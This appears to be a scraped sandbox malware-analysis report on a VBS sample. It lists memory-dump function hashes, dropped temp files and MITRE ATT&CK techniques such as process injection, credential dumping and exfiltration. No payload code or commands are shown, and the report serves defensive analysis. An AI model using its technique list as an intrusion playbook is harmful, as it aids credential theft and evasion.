Function 1FA0451C Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d3766dc6b228b69160ef9f30ce18dbe68a8dd98c33b97f43fb85c8ff9943d02
Instruction ID: 53d6acb9174040eb847b6eb8c3e1efed4c8410bd7089afbaab78a0b03572b2ee
Opcode Fuzzy Hash: 2d3766dc6b228b69160ef9f30ce18dbe68a8dd98c33b97f43fb85c8ff9943d02
Instruction Fuzzy Hash: 86118079E042298FCB61DB28D984A9CBBF5FB48310F0081EAE90DA3755EB305E918F01

Uniqueness

Uniqueness Score: -1.00%

Function 203B4B20 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb296130f376aee7d21e9e10836c5eb32daf63c007d43a74d8db2c66c2183c1e
Instruction ID: 0613233776a6627c8f6e545d88824437510bd94fcb610b3c3e4cf4de5ef1cac9
Opcode Fuzzy Hash: eb296130f376aee7d21e9e10836c5eb32daf63c007d43a74d8db2c66c2183c1e
Instruction Fuzzy Hash: E1F04632B04254AFD7208AB998407DF7BFAAB89250F000079EA09EB242DA329D85C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 1FA08770 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d08cc4a4c31075a795df169f22e6a8844d497047d0109efadfa18138d0d74fe
Instruction ID: 42c07faf0616298672c162089ee8704a22c3c8ceaed40bd06059083df85fc692
Opcode Fuzzy Hash: 7d08cc4a4c31075a795df169f22e6a8844d497047d0109efadfa18138d0d74fe
Instruction Fuzzy Hash: EDF01D75E002199FCF80EFBC994469EBFF9EB89250F10406AD508E3240EB385D018BE5

Uniqueness

Uniqueness Score: -1.00%

Function 1FA04573 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dd2ad76f70ccbb71e9d3cbbabfa5cece15001fb6f96627d124a2f79b2802b41
Instruction ID: e0f3a2868f12af43f4a6827994790381745b637ad23aa16a072adf95da2db628
Opcode Fuzzy Hash: 4dd2ad76f70ccbb71e9d3cbbabfa5cece15001fb6f96627d124a2f79b2802b41
Instruction Fuzzy Hash: 2F019979E012298FCBA1DB68D99469CBBF5BB48324F0081E9E40DA3755DF305E918F01

Uniqueness

Uniqueness Score: -1.00%

Function 203B3420 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd9b23bc95af5dfa14143c091036a8709d13d184f72e7182db9df365d2f4e480
Instruction ID: 8dd6166c5e5787c3f764fba1d46ce672ebcae3d5e6e821e3ca54103a67dffcc4
Opcode Fuzzy Hash: cd9b23bc95af5dfa14143c091036a8709d13d184f72e7182db9df365d2f4e480
Instruction Fuzzy Hash: C2F05E36F001285B8B54DABAD8546DEBBFAAF8C211F11807ADA09F3240EE759D0487D1

Uniqueness

Uniqueness Score: -1.00%

Function 1FA045CA Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ddef40eda694bd761a22dd68efdd9c47951afd70bb37258ec157023e49b38aa
Instruction ID: c6bf0112b049e58491247b78481664bc200d95e54fcd74d364cdc544a9266fb9
Opcode Fuzzy Hash: 6ddef40eda694bd761a22dd68efdd9c47951afd70bb37258ec157023e49b38aa
Instruction Fuzzy Hash: EFF09279E002298FCBA1DB68D994A9CBBF5AB48314F0081E9E44DA3250DF305E918F11

Uniqueness

Uniqueness Score: -1.00%

Function 1FA068A1 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 108a7372cbfdcbbb9fdb4ee3705243d42fb88f3468fc6845a35260ea8c9a0e88
Instruction ID: 9d2400365a790a249fd1926e8af0b929907d86de48a8b911f6fc8604f92e5a52
Opcode Fuzzy Hash: 108a7372cbfdcbbb9fdb4ee3705243d42fb88f3468fc6845a35260ea8c9a0e88
Instruction Fuzzy Hash: 8BE0393AB00028CFCF44EBBCE58889CB7F1AF8C2657108169E809E3350EF359D168B61

Uniqueness

Uniqueness Score: -1.00%

Function 1FA086AF Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72b8c93a7d52fe48a45a4770e1abdaab70bc9a528401005090cc2d25f2c0216b
Instruction ID: d56cb7cf395bf8be0be4d7d36d8b1eb9b974002bf7e449d2cac763b06ac91776
Opcode Fuzzy Hash: 72b8c93a7d52fe48a45a4770e1abdaab70bc9a528401005090cc2d25f2c0216b
Instruction Fuzzy Hash: F2E0ED3AF101149BCF05E7B8F55499DB7F1AFC82687108169D509E7324EF399E018B51

Uniqueness

Uniqueness Score: -1.00%

Function 203B5427 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4944502930568d09a3391abc3b334b3886eab51b70bd21416cf7ab280031f482
Instruction ID: bf95e0e5ecd31413f301505b19ca32e046f12b1377f5d0fdec51a65603062cb8
Opcode Fuzzy Hash: 4944502930568d09a3391abc3b334b3886eab51b70bd21416cf7ab280031f482
Instruction Fuzzy Hash: 7CE0ED3AF001149BCF05E7B8E55499DB7F1ABC82687208165D509E7324EE399E0287A1

Uniqueness

Uniqueness Score: -1.00%

Function 203B8807 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12cf16027d1fcde484a58f65e575eb61c33b81203fd49eddbf95e4ffb95cfdd3
Instruction ID: 440cc5f55ad3699f943337957220c727881ee342ad0de06bbf37dec0f587ca1e
Opcode Fuzzy Hash: 12cf16027d1fcde484a58f65e575eb61c33b81203fd49eddbf95e4ffb95cfdd3
Instruction Fuzzy Hash: 25E0ED3AF011149BCF05E7B8E59499DB7F1AB882687208169D509E7724EE399E028791

Uniqueness

Uniqueness Score: -1.00%

Function 203BB677 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79132f998ebc8a397b62ad9860e7d1d2b16926b344f6f5c08518074b64ad16d9
Instruction ID: 09b789d216e1a9a963428effda6e43c37fa02350cad1baa5467b68c897ad8b72
Opcode Fuzzy Hash: 79132f998ebc8a397b62ad9860e7d1d2b16926b344f6f5c08518074b64ad16d9
Instruction Fuzzy Hash: D3E0ED3AF001149BCF05E7B8E65499DB7F1AF892687208165D509E7324EE399E028791

Uniqueness

Uniqueness Score: -1.00%

Function 203B6E9F Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8812df30cc33fdf240c2fd0c7a0220bbe9e3dd3bf0bbfc782ac1e605946c5a4
Instruction ID: 709f80fac12ca129a7f8196115c77123f2738370be63c0cfcce90988c99cff58
Opcode Fuzzy Hash: f8812df30cc33fdf240c2fd0c7a0220bbe9e3dd3bf0bbfc782ac1e605946c5a4
Instruction Fuzzy Hash: CCE0ED3AF001148BCF05E7B8E55499DB7F5BB882687209165D509E7324EF399E018751

Uniqueness

Uniqueness Score: -1.00%

Function 203B8927 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc8701577ad5c221d7cc8d85d980f73c7a1a587615768028d919b58dafc3abef
Instruction ID: 33791f569d2e5b2ef9440a8e5a4ef5f980294199d69d19550d946d58febe7a87
Opcode Fuzzy Hash: fc8701577ad5c221d7cc8d85d980f73c7a1a587615768028d919b58dafc3abef
Instruction Fuzzy Hash: 41E0ED3AF001148BCF05E7B8E65499DBBF1AB8826872081A9D509E7764EF399E018791

Uniqueness

Uniqueness Score: -1.00%

Function 203B61BF Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efcce26893e6fd14b4bee65a4dc28d47d9f6cb5cb642fd303c3c918dd8428ca8
Instruction ID: eec56fabd66d1ab8c8a8f76ffecf0d73ee784263b8be47b785c3a0dae2ea445e
Opcode Fuzzy Hash: efcce26893e6fd14b4bee65a4dc28d47d9f6cb5cb642fd303c3c918dd8428ca8
Instruction Fuzzy Hash: CEE0ED3AF001148BCF05E7B8E65499DB7F1AB882687208169D509E7324EE39AE018791

Uniqueness

Uniqueness Score: -1.00%

Function 203B6FBF Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7a76e5dd3b079e2ae9ec46d671aea4d8477b23cf34f497fea550f4da16a6ff9
Instruction ID: 58b9dcc3e935ccdddcf147975e846f077f205311e94881a2bb8bcd6fb5310d0f
Opcode Fuzzy Hash: d7a76e5dd3b079e2ae9ec46d671aea4d8477b23cf34f497fea550f4da16a6ff9
Instruction Fuzzy Hash: D7E0ED3AF001148BCF05E7B8F55499DB7F1BB882687208465D509E7324EE39AE018761

Uniqueness

Uniqueness Score: -1.00%

Function 1FA00070 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39286dfbe0d16bb4a37394b10e20d7ef5aae2a7cdcc7931f3f94e2eae4068abb
Instruction ID: 701fa827a2fefc7f8e176c1c8e6c7391c96e4154e1f8975f724bf652246d0cc1
Opcode Fuzzy Hash: 39286dfbe0d16bb4a37394b10e20d7ef5aae2a7cdcc7931f3f94e2eae4068abb
Instruction Fuzzy Hash: F9B0122216121F43DA1033EDE485338776C5F805C8F400075D909439434D4538815472

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SIEM_PO00938467648.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.0.cs

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.out

C:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP

C:\Users\user\AppData\Local\Temp\RES7743.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ch5v15x.nhz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_casrbuj4.tcb.psm1

\Device\ConDrv

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
SIEM_PO00938467648.vbs

Function 008EEB28 Relevance: 2.0, Strings: 1, Instructions: 724
COMMON

Function 07B4EDF0 Relevance: 12.0, Strings: 9, Instructions: 731
COMMON

Function 07B45068 Relevance: 6.5, Strings: 5, Instructions: 246
COMMON

Function 07B44080 Relevance: 5.5, Strings: 4, Instructions: 524
COMMON

Function 07B4DDA8 Relevance: 5.3, Strings: 4, Instructions: 265
COMMON

Function 07B4EC70 Relevance: 3.9, Strings: 3, Instructions: 109
COMMON

Function 07B4C550 Relevance: 2.8, Strings: 2, Instructions: 264
COMMON

Function 07B4FA88 Relevance: 2.6, Strings: 2, Instructions: 108
COMMON

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre